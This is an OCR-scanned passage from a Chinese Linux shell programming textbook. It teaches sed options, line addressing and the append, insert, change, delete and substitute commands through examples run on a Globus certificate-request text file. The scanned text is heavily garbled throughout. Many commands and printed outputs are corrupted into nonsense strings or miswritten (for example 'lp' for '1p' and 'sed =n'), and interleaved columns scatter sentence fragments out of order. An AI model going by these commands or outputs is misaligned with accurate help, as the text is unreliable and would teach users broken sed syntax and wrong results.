从 另 一 个 文件 中 读 文 本 

将 文本 写 入 到 一 个 文件 

变换 字符 

第 一 个 模式 匹配 完成 后 退出 

显示 与 八进制 ASCII 码 等 价 的 控制 字符 
在 定位 行 执行 的 命令 组 
读 取 下 一 个 输入 行 ， 用 下 一 个 命令 处 理 新 的 行 
将 模式 缓冲 区 的 文本 复制 到 保持 缓冲 区 
将 模式 缓冲 区 的 文本 追加 到 保持 缓冲 区 
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互 换 模式 缓冲 区 和 保持 缓冲 区 的 内 容 





冲 区 的 内 容 复 制 到 模式 缓冲 区 
种 区 的 内 容 追 加 到 模式 缓冲 区 























人 本 sod 编程 的 一 组 例子 加 


本 节 通 过 一 组 例子 来 说 明 sed 选项 、sed 文本 定位 、sed 基本 编辑 命令 的 第 见 用 法 ， 另 外 ， 
sed 编程 还 经 常 跟 正则 表达 式 相 结合 。 因 此 ， 第 3 章 正 则 表达 式 是 本 节 sed 编程 的 基础 知识 ， 
有 必要 随时 参考 。 
新 建 一 个 名 为 input 的 文件 ， 作 为 例子 的 输入 文件 ， 内 容 如 下 : 


This is a Certificate Request file: 







































































It should be mailed to zawul@seu.edu.cn 


CeretfticcEe Sujet: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=gl1oBus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 
To install this user certificate, please save this e-mail message into the following file. 


/home/globus/.globus/usercert .pem 


4.2.1 sed 命 全 选项 的 一 组 例子 


本 节 通 过 一 组 例子 说 明 三 个 sed 命令 选项 的 意义 ， 选 项 需要 与 一 些 编辑 命令 结合 才能 体 
现 出 它 的 作用 。 因 此 ， 本 节 的 例子 也 会 涉及 几 个 编辑 命令 的 介绍 ， 但 是 重点 不 在 于 此 。 

1. sed 命令 的 -n 选项 

sed 编辑 命令 p 实现 打印 匹配 行 功能 。 下 面 的 例 4-1 演示 了 sed 命令 的 -n 选项 ， 第 1 条 命 
令 表示 打印 input 文件 的 第 1 行 ，-n 表示 不 打印 input 文件 的 所 有 行 ， 因此， 该 命令 的 运行 结果 
只 是 input 文件 的 第 1 行 。 第 2 条 命令 去 掉 -n 参数 ， 可 以 看 到 结果 首先 显示 input 文件 的 第 1 
行 , 然后 将 input 文件 (sed 的 编辑 对 象 ) 的 全 部 内 容 打印 到 标准 输出 。 从 这 个 例子 的 两 条 命令 ， 
我 们 可 以 清晰 地 理解 -n 选项 表示 “不 打印 ”功能 是 指 : 不 打印 sed 编辑 对 象 的 全 部 内 容 。 
例 4-1: sed -n 的 用 法 


第 1 条 命令 ， 带 -n 选项 只 打印 第 1 工行 
root@zawu globus]# sed -n 'lp' input 







































































































































































This is a Certificate Request file: 
第 2 条 命令 ， 不 带 -n 选项 ， 不 仅 打印 第 1 行 ， 还 打印 输入 文件 的 全 部 内 容 
root@zawu globus]# sed 'lp' input 
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This is a _ Certificate Request file: 
This is a Certificate Request file: 


It should be mailed to zawuQ@seu.edu.cen 


Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


Theraoove str ls known ras vour serioertlflieate subleet and re mi FentiEles 
this user. $88 
To install this user certificate, please save this e-mail message into the following file. 


/home/globus/.globus/usercert .pem 
[root@zawu globus]# 


下 面 的 例 4-2 利用 sed 命令 打印 范围 行 ， 例 4-2 中 的 命令 打印 input 文件 的 第 3 一 6 行 ， 
其 中 第 4 行为 空白 行 。 

# 例 4-2: sed 命令 打印 范围 行 

Se SU 上 本 Se 可 证 世相 忆 

It should be mailed to zawuQ@seu.edu.cen 
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Certificate Subject: 
[root@zawu globus]# 


下 面 的 例 4-3 利用 sed 命令 打印 匹配 模式 行 ， 命 令 使 用 表 4-2 中 的 /pattern/ 方 法 进行 模式 
匹配 , 表示 打印 匹配 certificate 关键 字 的 行 。 从 例 4-3 的 结果 可 以 看 出 , 第 1 行 包含 Certificate 
关键 字 未 被 打印 ， 这 说 明 sed 匹配 关键 字 也 是 大 小 写 敏 感 的 。 

# 例 4-3: sed 打印 匹配 模式 行 


LeooeerawooLlosusiilsed n/carceltiearce/e ineue 









































Phe rabove strirne is known as vou usericertiflieate subleet and te nionly toenetEles 
this user. $88 

To install this user certificate, please save this e-mail message into the following file. 

[root@zawu globus]# 


2. sed 命令 的 -e 选项 

-e 选 项 表示 将 下 一 个 字符 串 解析 为 sed 编辑 命令 ， 如 果 只 传递 一 个 编辑 命令 给 sed，-e 
选项 可 以 省 略 ， 换 名 话说 ， 只 有 向 sed 命令 传递 多 个 编辑 命令 时 ，-e 选项 才 有 用 武之 地 ， 我 
们 通过 一 个 打印 行 号 的 例子 来 说 明 -e 选项 的 意义 和 用 法 ， 如 例 4-4 所 示 。 例 4-4 中 的 第 1 条 
命令 利用 sed 编辑 命令 “=” 号 打印 匹配 Certificate 关键 字 的 行 号 ， 结 果 为 1 和 6。 如 果 需 要 
将 与 匹配 Certificate 关键 字 行 的 内 容 和 行 号 都 打印 出 来 ， 就 要 问 sed 传递 “p” 和 “=” 两 个 
编辑 命令 ， 此 时 就 需要 使 用 -e 选项 ，-e 选项 指定 其 后 面 紧 跟着 的 字符 串 为 sed 编辑 命令 ， 打 
印 匹配 行内 容 及 其 行 号 的 命令 如 例 4-4 第 2 条 命令 所 示 。 
例 4-4: seqd -e 的 用 法 


第 1 条 命令 : 简单 的 打印 行 号 命令 


root@zawu globus Seu no /eernenmireare/ ne 
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6 
第 2 条 命令 : 打印 行内 容 及 行 号 ， 传 递 两 个 编辑 命令 给 sed 
rootQazawu agLloBusltitiseadl -ned'/cCertificate/B" ee/Certificate/= ineue 
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wns on tertrilieate Reosst Eles 
了 

Certrftleater SUNeect: 

6 

[root@zawu globus]# 


需要 注意 的 是 ，sed 不 支持 同时 带 多 个 编辑 命令 的 用 法 ， 如 : 

sed -=n "Certificate/p=" input 

带 多 个 编辑 命令 sed 的 一 般 格式 为 : 

sed [选项 ] -e 编辑 命令 1 -e 编辑 命令 2 … -e 编辑 命令 n 输入 文件 

3. sed 命令 的 二 选项 

节选 项 只 有 调用 sed 脚本 文件 时 才 起 作用 ， 妃 加 文本 、 揪 入 文本 、 修 改 文本 、 删 除 文本 
和 蔡 换文 本 等 功能 往往 需要 几 条 sed 命令 来 守成， 所以， 往往 将 这 些 命令 写 入 sed 脚本 ， 然 
后 调用 sed 脚本 来 完成 。 我 们 以 sed 追加 文本 功能 为 例 说 明 sed 脚本 的 编写 和 调用 方法 ,从 中 
说 明 节 选项 的 作用 。 

sed 编辑 命令 a\ 符 号 用 于 追加 文本 ， 它 可 以 将 指定 文本 的 一 行 或 多 行 追加 到 指定 行 后 面 。 
如 果 不 指 定 文本 追加 位 置 ，sed 默认 放置 到 每 一 行 后 面 ， 追 加 文本 的 格式 为 : 

sed ' 指 定 地 址 a\text' 输入 文件 

指定 地 址 以 匹配 模式 /pattern/ 或 行 号 的 形式 给 
后 的 文本 进行 妃 加 操作 。 

例 4-5 利用 sed 命令 追加 文本 ， 例 4-5 中 的 命令 表示 在 与 关键 字 “file:” 相 匹配 的 行 后 追 
加 文本 内 容 “We append anew line.”， 结 果 显 示 第 1 行 之 后 已 经 追加 了 上 述 文 本 。 值 得 注意 
的 是 ，sed 完成 退 加 文本 功能 后 ， 只 是 将 结果 输出 到 标准 输出 上 〈Shell)， 原 始 文件 input 并 
未 做 任何 改变 。 
例 4-5: seq 追加 文本 


root@zawu globus]# sed '/file:/a\We append a new line.' input 
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， 用 于 定位 新 文本 的 追加 位 置 ，sed 对 \a 








四 
















































































This is a Certificate Request file: 
We append a new line. # 追 加 上 去 的 文本 行 








t should be mailed to zawul@seu.edu.cn 


Certificate Subject: 
/0O=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=gloBbus 


The above string is known as your user certificate subject, and it unigquely identifies 
this user. $88 

To install this user certificate, please save this e-mail message into the following 
file. 


/home/globus/.globus/usercert.pem 
[root@zawu globus]# 


接 下 来 ， 我 们 通过 将 例 4-5“sed 追加 文本 ”的 例子 转换 为 sed 脚本 来 说 明 如 何 编写 和 调 
用 sed 脚本 文件 ， 见 例 4-6。 利 用 vi 编辑 器 创建 名 为 append.sed 的 文件 ， 输 入 如 下 的 内 容 : 
# 例 4-6: append.sed 演示 sed 追加 文本 的 用 法 
#!/bin/sed -f 
/ELLE /a #a\ 表 示 此 处 换行 添加 文本 
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# 所 添加 的 文本 内 容 
We append a new line.\ #“\” 符 号 表示 换行 
We append another line. 


sed 脚本 的 第 1 行 与 bash Shell 脚本 一 样 ， 以 sha-bang (#1) 符号 开头 ，sha-bang 后 面 解 
释 器 的 路 径 ，sed 脚本 是 sed 命令 的 路 径 ， 一 般 在 /bin 目录 下 。 当 然 ， 如 果 读 者 不 知道 sed 在 
哪个 目录 下 ， 可 以 用 下 面 的 命令 获得 : 

[root@zawu globus]# which sed # 获 取 sed 路 径 


/bin/sed 
[root@zawu globus]# 


sed 选项 使 用 -f 表示 正在 调用 脚本 文件 ，-f 选项 在 脚本 中 必 不 可 少 ， 告 无 此 选项 ,执行 脚 
本 时 将 报错 。 如 果 追 加 上 去 的 文本 有 多 行 ， 需 要 用 反 斜 杜 符 号 “\” 换 行 ， 如 append.sed 脚本 
所 示 。 将 append.sed 文件 赋予 可 执行 权限 ， 然 后 执行 该 脚本 文件 ， 即 可 得 到 结果 ，sed 脚本 
的 执行 方法 与 bash 脚本 是 一 样 的 。 
在 执行 脚本 时 ， 仍 然 需 要 加 上 输入 文件 的 名 称 ， 下 面 给 出 append.sed 脚本 的 执行 命令 及 
其 执行 结果 ， 由 例 4-6 中 的 结果 可 见 ， 附 加 的 文本 分 为 了 两 行 ， 这 就 是 人 ”符号 所 起 的 作用 。 


例 4-6 append.sed 脚本 的 执行 结果 


































































































root@zawu globus]# chmod u+x append.sed # 为 append.sed 赋 可 执行 权限 

root@zawu globus]# ./append.sed input # 执 行 append. sed 脚本 , 带 上 输入 文件 input 
This is a Certificate Request file: 
We append a new line. # 追 加 上 去 的 两 行文 本 


We append another line. 


It should be mailed to zawuQ@seu.edu.en 


Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The aBove string is known as your user certificate subject, and it uniquely identifies 
this user. $88 
To nstallthis vser certifiecater elease Save thus ce maimessage Into Lhe following eilee 


/home/globus/ .globus/usercert .pem 
[root@zawu globus]# 


4.2.2 sed 文本 定位 的 一 组 例子 


本 节 通 过 一 组 例子 说 明 sed 文本 定位 的 方法 , 由 于 sed 命令 选项 和 sed 编辑 命令 的 例子 中 
都 会 涉及 sed 文本 定位 ， 因 此 ， 本 节 只 是 介绍 几 个 特殊 的 sed 文本 定位 例子 。 

1. 匹配 元 字符 

如 果 sed 命令 所 要 匹配 的 目标 字符 串 中 包含 元 字符 ， 需 要 使 用 转 义 符 人 ”屏蔽 其 特殊 意 
义 ， 下 面 的 例 4-7 利用 sed 命令 匹配 元 字符 ， 例 4-7 分 别 给 出 匹配 句点 “.” 元 字符 和 和 “$” 元 
字符 的 命令 。 

# 例 4-7: sedq 死 配 元 字符 

[zootQ@zawd gloBus]H sed n/N /Be nput # 匹 配 . 符号 

It should be mailed to zawuQ@seu.edu.cn 
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/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 
The above string is known as your user certificate subject, and it unigquely identifies 


this user. $88 


To install this user certificate, please save this e-mail message into the following file. 
/home/globus/.globus/usercert .pem 

root@zawu gloBus]t sed -nn /NG$/B' input # 匹配 $ 符 号 

Tne sabove steamog ls known Aas vour userEesetnflcasEsuoyJsce an uniauely radentrftnes 


this user. $88 





root@zawu globus]# 
2. 使 用 元 字符 进行 匹配 
sed 命令 可 以 灵活 使 用 正则 表达 式 的 元 字符 进行 匹配 ，$ 在 正则 表达 式 中 表示 行 尾 ， 但 是 









































在 sed 命令 中 却 表 示 最 后 一 行 , 例 4-8 利用 sed 命令 打印 最 后 一 行 , 在 此 附带 说 明 一 下 p 参数 
的 位 置 ，sed 基本 编辑 命令 可 以 放 在 单 引 号 内 ， 也 可 放 在 单 引 号 外 ， 如 例 4-8 的 两 条 命令 是 等 


价 的 ， 本 书 统 






































将 sed 编辑 命令 放 在 单 引号 之 内 。 
例 4-8: seq 结合 $ 符 号 匹配 最 后 一 行 

root@zawu globus]# sed -n '$p' input 
/home/globus/.globus/usercert .pem 
root@zawu globus]# sed -n '$'p input 
/home/globus/.globus/usercert.pem 
root@zawu globus] 


再 举 一 个 使 用 元 字符 进行 任意 字符 匹配 的 例子 ， 如 例 4-9 所 示 ，/*bus/ 表 示 匹 配 包含 以 



































bus 结尾 字符 串 的 行 。 


印 不 在 2 一 10 之 间 的 行 。 














例 4-9: 用 .和 * 符 号 匹配 任意 字符 

rooterawu oot ss ny/ ous/ inoue 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 

/home/globus/.globus/usercert.pem 

root@zawu globus]# 


3. ! 符 号 
! 符 号 表示 取 反 ，xy! 表 示 匹 配 不 在 x 和 Yy 行 号 范围 内 的 行 ， 例 4-10 利用 sed 命令 用 于 打 


























di 


例 4-10: 匹配 不 在 指定 行 号 范围 内 的 行 
neoEzeonooleoeus lsee mY 2 0 neuEe 
Tseues otertuflieate Reusest Fmles 











To install this user certificate, please save this e-mail message into the following file. 


/home/globus/.globus/usercert.pem 
root@zawu globus]# 


xl 表示 匹配 除了 x 行 号 外 的 所 有 行 ， 但 是 ，! 符 号 不 能 用 于 关键 字 匹 配 ， 如 无 法 表示 不 与 
























































/pattern/ 匹 配 的 行 。 


= 








4. 使 用 行 号 与 关键 字 匹 配 限 定 行 范 围 

表 4-2 列 出 了 /pattern/,x 和 x,/pattern/ 两 种 形式 限定 行 号 与 关键 字 匹 配 行 之 间 的 范围 ,实际 
这 两 种 形式 与 x、y 是 一 样 的 ， 只 是 将 x 或 y 用 /pattern/ 代 蔡 而 已 。 

下 面 的 例 4-11 使 用 行 号 与 关键 字 匹 配 限定 行 范围 , 例 4-11 的 第 1 条 命令 是 打印 与 seugrid 
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的 匹配 行 到 最 后 一 行 ， 第 2 条 命令 是 打印 第 3 行 到 与 Certificate 的 匹配 行 。 

















例 4-11: sed 命令 使 用 行 号 与 关键 字 匹 配 限 定 行 范 目 
第 1 条 命令 : 打印 与 seugrid 的 匹配 行 到 最 后 一 行 
root@zawu globus sed -n '/seugrid/,$p' input 











ti 
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/©=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=gloBus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 
To install this user certificate, please save this e-mail message into the following file. 


0 globus/usercert .pem 
第 2 条 命令 : 打印 第 3 行 到 与 Certificate 的 匹配 行 
root@zawu globus]# sed -n '3,/seugrid/p' input 














t should be mailed to zawuQ@seu.edu.cn 


Certificate Subject: 


/0O=Grid/OU=GlobusTest/OU=simpleCA=seugridl.seu.edu.cn/OU=seu.edu.cen/CN=gloBbus 
[root@zawu globus]# 


4.2.3 sed 基本 编辑 命 全 的 一 组 例子 


本 节 通 过 一 组 例子 讲述 sed 的 基本 编辑 命令 ， 这 些 基本 编辑 命令 是 sed 编程 中 最 常见 的 
命令 ， 读 者 只 有 深刻 理解 了 这 些 命令 的 用 法 ， 才 能 自如 地 利用 sed 进行 Shell 编程 。 我 们 在 
4.2.1 ee 已 经 介绍 了 退 加 文本 命令 ， 因 此 ， 本 节 从 插入 文本 开始 介绍 sed 基本 编辑 命令 

. 插入 文本 
> 和 追加 文本 类 似 ， 区 别 仅 在 于 追加 文本 是 在 匹配 行 的 后 面 插入 ， 而 插入 文本 是 
在 匹配 行 的 前 面 插入 ，sed 编辑 命令 的 插入 文本 符号 为 个， 插入 文本 的 格式 为 : 

sed ' 指 定 地 址 i\text' 输入 文件 

接 下 来 ， 举 例子 看 一 看 插入 文本 的 用 法 ， 新 建 名 为 insert.sed 的 脚本 ， 内 容 如 下 : 

# 例 4-12: insert.sed 脚本 演示 sed 插入 文本 的 用 法 

#!/bin/sed -f 
























































































































































WE mee #i\ 表 示 此 处 换行 插入 文本 
We insert a new line. 插入 的 文本 内 容 








执行 append.sed 脚本 ， 并 加 上 input 文件 名 作为 参数 ， 下 面 的 例 4-12 给 出 了 append.sed 
脚本 的 执行 结果 ， 可 以 看 到 ， 在 与 fle: 关 键 字 的 匹配 行 上 方 插入 了 新 文本 。 


例 4-12 append.sed 脚本 的 执行 结果 
root@zawu globus]# chmod utx insert.sed 















































root@zawu globus]# ./insert.sed input 
We insert a new line. # 插 入 的 新 文本 行 
This is a Certificate Request file: 








t should be mailed to zawuQ@seu.edu.cn 


Certificate Subject: 
/0O=Grid/OU=GlobusTest/OU=simpleCA-seugridl1.seu.edu.cn/OU=seu.edu.cn/CN=globus 
The above string is known as your user certificate subject, and it uniquely identifies 


this user. $88 
To install this user certificate, please save this e-mail message into the following file. 
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/home/globus/.globus/usercert.pem 
[root@zawu globus]# 
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2. 修改 文本 

修改 文本 是 指 将 所 匹配 的 文本 行 利用 新 文本 蔡 代 ，sed 编辑 命令 的 修改 文本 符号 为 cv 
修改 文本 的 格式 为 : 

sed ' 指 定 地 址 c\text' 输入 文件 

接 下 来 ， 举 例子 看 一 看 修改 文本 的 用 法 ， 新 建 名 为 modify.sed 的 脚本 ， 内 容 如 下 : 

# 例 4-13: modify.sed 脚本 演示 修改 文本 的 用 法 

#!/bin/sed -f 























ye EeN #c\ 表 示 此 处 换行 修改 文本 
We modify this line. # 修 改 的 文本 内 容 








下 面 的 例 4-13 给 出 了 modify.sed 脚本 的 执行 结果 ， 可 以 看 到 ， 与 fle: 关 键 字 的 匹配 行 被 
修改 为 了 “We modify this line.”。 


# 例 4-13 mogdify.sed 脚本 的 执行 结果 
[root@zawu globus]# chmod u+x modify.sed 





[root@zawu globus]# ./modify.sed input 
We modify this line. # 整 个 匹配 行 被 修改 为 新 文本 行 


It should be mailed to zawu@seu.edu.cn 


Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=gloBus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 
To install this user certificate, pléease save this e-mail message into the following file. 


/home/globus/.globus/usercert .pem 
[root@zawu globus]# 


3. 删除 文本 

sed 删除 文本 命令 可 以 将 指定 行 或 指定 行 范围 进行 删除 ，sed 编辑 命令 的 删除 文本 符号 为 
d， 删 除 文本 的 格式 为 : 

指定 地 址 a 

注意 ，sed 编辑 命令 中 的 删除 操作 符号 是 4， 后 面 不 带 \ 符 号 ， 与 附加 、 插 入 、 修 改 等 命 
令 有 所 区 别 。 删 除 文本 可 以 灵活 地 制定 删除 地 址 ， 例 4-14 演示 了 删除 文件 的 第 一 行 和 最 后 一 





























行 的 方式 。 
# 例 4-14: sed 命令 删除 第 一 行 和 最 后 一 行 
[root@zawu globus]# sed '1d' input # 第 1 条 命令 : 删除 第 一 行文 本 








It should be mailed to zawu@seu.edu.cn 


Certificate Subject: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 


























上 | 元 J 华 清 远 见 教 育 集团 官网 : www. hqyj. com 











《Linux Shell 编程 从 初学 到 精通 》 





To install this user certificate, please save this e-mail message into the following file. 


/home/globus/.globus/usercert .pem 


[root@zawu globus]# sed '$d' 


DIE 


This is a Certificate Request file: 


It should be mailed to zawuQ@seu.edu.cen 


Certemereerelomectr. 





/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subject, and it unigquely identifies 


this User. $88 
ue rave LEI 
[root@zaw 











例 4-14 





， 第 1 条 命令 表示 

















我 们 也 可 以 


例 4-15: 

















后 一 行 时 ， 到 了 正则 表达 式 元 字符 

















旨 定 删除 行 的 范围 ， 下 夯 


























root@zawu globus 





Los rnseal 


root@zawu globus]# 














rnpuat 


/home/globus/.globus/usercert .pem 
root@zawu globus]# sed '5,$d' 
This is a Certificate Request file: 


ae 


It should be mailed to zawuQ@seu.edu.cen 








this user certificate, please save this e-mail message into the following file. 





扩 除 第 1 行 ， 用 数字 '1d 指 定 第 一 行 ， 而 第 2 条 命令 指定 最 
$ 表 示 最 后 1 行 。 


的 例 4-15 用 sed 命令 删除 指定 范围 内 所 有 的 行 。 





# 第 1 条 命令 : 删除 第 1 一 10 行 
this user certificate, please save this e-mail message into the following file. 





0 令 ， 删 除 第 5 行 到 最 后 一 行 





例 4-15 中 的 第 1 条 命令 用 '110d' 表 示 删 除 第 1 一 10 行 ， 第 2 条 命令 用 '5,$d' 表 示 删 除 第 2 





行 到 最 后 一 行 。 
当然 ， 也 可 以 删除 与 关键 字 
# 例 4-16: delete.sed 脚本 演示 


#!/bin/sed -f 
[Eee 


delete.sed 脚本 表示 删除 匹配 certifi 





ieels 























[Aal] [Tt] [Ee]/d 








cate 关键 字 的 所 有 行 ,用 了 








certificate 关键 字 时 不 区 分 大 小 写 ， 下 面 的 例 4-16 给 出 delete.sed 脚本 的 执行 
# 例 4-16 delete.sed 脚本 的 执行 结果 
[root@zawu globus]# chmod u+x del 


[root@zawu globus]# ./delete.sed input 











lete.sed 


It should be mailed to zawuQ@seu.edu.cen 


匹配 的 行 ， 新 建 delete.sed 脚本 ， 内 容 如 下 : 
I 除 不 区 分 大 小 写 与 certificate 匹配 的 行 的 用 法 








E 则 表达 式 口 符 
结 


号 表示 在 匹配 
果 。 





/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


/home/globus/.globus/usercert.pem 


作 村 | 
华 清 


HQY 
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[root@zawu globus]# 

4. 替换 文本 

sed 蔡 换 文本 操作 将 所 匹配 的 文本 行 利用 新 文本 藻 换 ， 蕉 换文 本 与 修改 文本 功能 有 相似 
之 处 , 它们 之 间 的 区 别 在 于 : 玲 换 文本 可 以 蕉 换 一 个 字符 串 ， 而 修改 文本 是 对 整 行进 行 修改 。 
另外 ， 蔡 换文 本 通过 替换 选项 使 得 文本 替换 更 为 灵活 ， 功 能 更 为 强大 ， sed 纲 辑 命令 的 替换 
文本 符 写 为 s， 葵 换文 本 的 格式 为 : 

s/ 被 蔡 换 的 字符 串 / 新 字符 串 /[ 蔡 换 选 项 ] 

s 表示 sed 执行 替换 文本 操作 ，sed 命令 首先 匹配 被 奉 换 的 字符 串 ， 匹 配 成 功 后 用 新 字符 
串 欧 换 它 。 蔡 换 选 项 对 sed 玲 换 操作 做 进一步 的 细 化 ， 上 基体 符 号 和 含义 如 表 4-4 所 示 。 

表 4-4 “sed 蔡 换 选项 及 其 意义 




















































































































~ 
























































表示 巷 换 文本 中 所 有 出 现 被 蔡 换 字符 串 2 








与 -n 选项 结合 ， 上 只 打印 替换 行 








表示 将 输出 定向 到 一 个 文件 














sed 蔡 换 文本 命令 是 一 个 相对 复杂 的 命令 ， 读 者 需要 正确 理解 sed 替换 选项 所 表示 的 意 
义 。 下 面 我 们 结合 具体 例子 详细 解释 表 4-4 所 示 的 sed 替换 选项 。 

从 最 简单 的 p 选项 谈 起 ， 默 认 情 况 下 ，sed s 命令 将 蔡 换 后 的 全 部 文本 都 输出 ， 如 果 要 求 
只 打印 替换 行 ， 需 要 结合 使 用 -mn 和 p 选项 ， 命 令 格式 如 下 : 

sed -n 's/ 被 替换 的 字符 串 / 新 字符 串 /p， 输入 文件 
上 述 命令 如 果 缺 少 p 选项 ， 将 不 打印 任何 内 容 。p 选项 的 官方 文档 解释 是 ， 使 -n 选项 无 
效 。 为 清晰 起 见 ， 本 书 将 p 选项 解释 为 :< 与 n 选项 结合 ， 只 打印 蔡 换 行 。 例 4-17 说 明了 sed 
命令 玲 换 文本 时 p 选项 的 用 法 ， 例 中 的 三 条 命令 都 是 将 Certificate 玲 换 成 CERTIFICATE,， 第 
1 条 命令 不 加 任何 参数 ， 结 果 为 显示 蔡 换 后 文本 的 所 有 内 容 ， 第 2 条 命令 将 -n 和 op 结合 使 用 ， 
结果 仅 为 替换 行 ， 第 3 条 命令 用 了 -n 参数 ， 但 是 未 加 p 选项 ， 结 果 中 不 打印 任何 内 容 。 
例 4-17: sed 命令 奉 换 文本 时 P 选项 的 用 法 
第 1 条 命令 : 默认 情况 下 ， 打 印 全 部 输入 文件 内 容 


root@zawu globus]# sed 's/Certificate/CERTIFICATE/' input 
This is a CERTIFICATE Request file: 










































































































































































t should be mailed to zawuQ@seu.edu.cen 


CERTIFICATE SUBJect: 
/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 


The above string is known as your user certificate subject, and it uniquely identifies 
this user. $88 


To install this user certificate, please save this e-mail message into the following file. 


/home/globus/.globus/usercert.pem 

第 2 条 命令 : -n 和 -p 选项 结合 使 用 ， 只 打印 蔡 换 行 

root@zawu globus]# sed =n 's/Certificate/CERTIFICATE/p' input 
Tssersoed oerLeneaAneaueseinle: 
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CRERURECARESUBJECLE 


# 第 3 条 命令 : 少 了 p 选项 ， 不 打印 作 
[root@zawu globus]# sed -n 





[root@zawu globus]# 


再 





TI 











而 sed 并 没有 加 上 g 选项 ， 但 是 





是 ，g 选项 的 解释 是 


E 何 内 容 
's/Certificate/CERTIFICATE/" 




















为 了 透彻 地 说 明 g 选项 的 意义 ， 请 看 下 面 的 例 4-18: 











root@zawu globus 





root@zawu globus] 











root@zawu globus] 














的 seu 和 第 8 行 出 现 的 第 



































例 4-18: sed 替换 选项 g 的 
第 1 条 命令 : 不 带 g 选项 的 结 








例 4-18 中 的 两 条 命令 都 是 将 input 文件 
行 出 现 1 次、 在 第 8 行 出 现 2 次 , 例 4-18 中 的 第 1 条 命令 不 带 g 选项 ， 
1 个 seu; 第 2 条 命令 带 有 g 选项 ， 


收 了 蔡 换 。 因 此 ，sed 蔡 换 命令 在 默认 情况 下 ， 即 不 带 g 选项 时 ， 对 茶 行 的 第 











's/seu/njue/p' input 

t should be mailed to zawu@njue.edu.cn 
/0=Grid/OU=GlobusTest/OU=simpleCA-njuegridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 

第 2 条 命令 : 带 g 选项 的 结果 

emseny ne ue 

[It should be mailed to zawu@njue.edu.en 

/0=Grid/OU=GlobusTest/OU=simpleCA-njuegridl.njue.edu.cn/OU=njue.edu.cn/CN=globus 












































字符 串 在 文本 















































条 命令 





[root@zawu globus] 






































S/Seu/ne /2 not 


的 seu 字符 串 替 





它 对 input 中 出 


字 进 行 奉 换 后 ， 就 跳 转 到 下 面 匹配 行 。 而 g 选项 使 得 sed 奉 换 命令 有 
行 蔡 换 。 换 名 话说 ， 当 被 奉 换 
是 一 样 的 ， 只 有 当 被 蔡 换 字 


每 行 至 多 出 现 1 次 时 ， 
符 串 在 某 行 出 现 2 次 以 上 时 ，g 选项 才 发 挥 作 有 

sed 蔡 换 文本 命令 还 可 指定 奉 换 第 刀 次 匹配 的 关键 字 ， 只 需 在 替换 选项 加 上 相应 
即 可 ， 数 字 范 围 需要 在 1 一 512 之 间 。 例 


分 别 是 替换 第 2 次 和 第 
# 例 4-19: sed 替换 第 n 次 匹配 





4-19 演示 sed 指定 替换 第 
3 次 所 匹配 的 seu 关键 字 。 


Do 





赴 茶 行 的 所 有 关键 字 都 进 
是 否 带 有 g 选项 的 结果 
日。 














到 例 4-17， 第 1 条 命令 将 input 中 仅 有 的 两 处 Certificate 都 替换 成 CERTIFICATE， 
: 替换 文本 中 所 有 出 现 被 奉 换 字符 串 之 处 。 





换 为 njue 字符 串 ，seu 在 第 3 
它 蔡 换 了 第 3 行 出 现 
H 现 的 3 个 seu 都 














1 处 匹配 关键 











的 数字 


LC， 例 4-19 中 的 两 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.njue.edu.cn/OU=seu.edu.cn/CN=globus 


[root@zawu globus] 


's/seu/njue/3p' input 


/0=Grid/OU=GlobusTest/OU=simpleCA-seugridl.seu.edu.cn/OU=njue.edu.cn/CN=globus 


[root@zawu globus] 


w 选项 较为 简单 ，w 选项 后 加 文 伯 
sed 命令 自动 建立 输出 文件 ， 
第 1 条 命令 将 seu 字符 串 改 为 njue， 并 将 纤 
替换 过 的 两 行文 本 。 
例 4-20: > 命令 w 选项 的 用 ; 
第 1 条 命令 : 将 seu 字符 串 改 为 njue， 并 将 结果 写 入 output 文件 
root@zawu globus]# sed -n 
和 2 条 命令 : 查看 output 文件 
root@zawu globus]# cat output 


t should be mailed to zawulnjue.edu.cn 
/0=Grid/OU=GlobusTest/OU=simpleCA-njuegridl.seu.edu.cn/OU=seu.edu.cn/CN=globus 





内 容 ， 里 面包 含 


A 
二 














root@zawu globus]# 


介绍 完 sed 的 三 个 替换 选项 后 ， 


化 : 理 | 元 见 


HQYJ.COM 





















































F 名 表示 将 输出 定向 到 这 个 文件 ， 
默认 目录 是 当前 工作 目录 。 例 4-20 演示 了 
吉 果 写 入 output 文件 ; 


's/seu/njue/w output' input 
内 容 


我 们 讲 sed 替换 文本 中 经 常 使 用 到 














作 


远见 教 



































输出 文件 未 曾 建 





w 选 项 的 用 法 ， 








第 2 条 命令 显示 output 文件 


的 & 符 号 , && 符 号 可 用 


官网 : www. hqyj. com 


《Linux Shell 编程 从 初学 到 精通 》 




















来 保存 被 替换 的 字符 串 以 供 调用 。 下 面 用 一 个 具体 例子 来 讲述 & 符 号 的 用 法 ， 如 果 我 们 需 将 
seu 用 圆 括号 括 起 来 ， 可 用 以 下 两 条 等 价 的 命令 : 

